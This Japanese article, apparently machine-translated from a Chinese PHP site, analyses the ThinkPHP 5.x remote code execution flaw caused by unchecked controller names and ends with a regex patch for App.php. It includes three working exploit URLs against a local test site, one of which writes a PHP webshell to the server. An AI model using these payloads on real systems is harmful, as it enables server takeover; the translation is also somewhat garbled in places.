THINKPHP のバグ修正。公式は最近、すべての既存の thinkphp バージョンを 5.0 から 5.1 にアップグレードし、パッチ更新も行いました。この更新では主にいくつかのバグが修正されています。最も深刻なものは、従来から存在していたSQLインジェクションの脆弱性と、リモートコード実行クエリシステムの脆弱性は修正されており、関係者は問題ないと思われていましたが、実際のセキュリティ検査の結果、依然として問題が存在し、リモートコードインジェクションが依然として可能であることが判明しました。 、不正な文字を挿入し、サーバー バックエンドに送信します。
今回発見されたodayの脆弱性について、その様子を見てみましょう 更新されたプログラムファイルのパスは、ライブラリフォルダ直下のthinkディレクトリのapp.phpです
#脆弱性の理由はこのコントローラーにあり、thinkphp フレームワーク全体の関数は、コントローラーに対して厳密なセキュリティ フィルタリングと検査を実行しません。コントローラ、攻撃を行う 攻撃者は、悪意のあるパラメータを偽造して挿入を強制することができます。最も根本的な理由は、正規表現が適切に記述されていないため、これを回避できることです。
コントローラーはコントローラーを取得した後、値を直接割り当てますが、コントローラーの名前は厳密には検出されないため、リモート コード インジェクションにスラッシュなどの特殊記号が使用される可能性があります。
Web サイト環境、Apache mysql Linux centos システムをセットアップしましょう。構築されたテスト環境のアドレスは http://127.0.01/anquan です。index.php の背後に攻撃パラメータを直接偽造できます。例は次のとおりです。
http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
get メソッドを使用して Web サイトに直接送信すると、Web サイトの現在のルート ディレクトリにあるすべてのファイルを直接クエリできます。スクリーンショットは次のとおりです:
これを通じて、この脆弱性をリモート コードに直接挿入して phpinfo ステートメントを実行することもでき、現在の php バージョン、パス、拡張子、および php.ini が保存されているアドレスを照会することができます。次のコード。
http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
phpinfo はディレクトリ ファイルをクエリできるのに、getshell は Web サイトに Web サイトのトロイの木馬ファイルを書き込むことができるのかと疑問に思う人もいるかもしれません。答えは「はい」です。テスト時には、safe.php ファイルに 1 文のトロイの木馬コードを書き込みました。
http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_GET["cmd"]);?>%27%20>%20safe.php
これで、thinkphp の脆弱性の悪用と分析は終了です。この脆弱性は高リスクの脆弱性であり、被害は深刻です。アップグレードおよび更新されたパッチを適用した多くの Web サイトが攻撃される可能性があり、一部の Web サイトでは、そうですね、thinkphp の脆弱性を修正するにはどうすればよいでしょうか?
前の正規表現を置き換えるだけです。また、php ファイルの生成を防止したり、Web サイトの脆弱性を修復したり、Web サイトのセキュリティ保護パラメータをリセットしたりするために、Web サイトのディレクトリにアクセス許可を展開する必要があります。その時のサイト環境。
この状況に対応するには、library/think/App.php コードの正規表現を変更する必要があります
if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }
この記事は、ThinkPHP フレームワークの技術記事列から引用したものです: //m.sbmmt.com/phpkj/thinkphp/
以上がthinkphpの脆弱性を修正する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。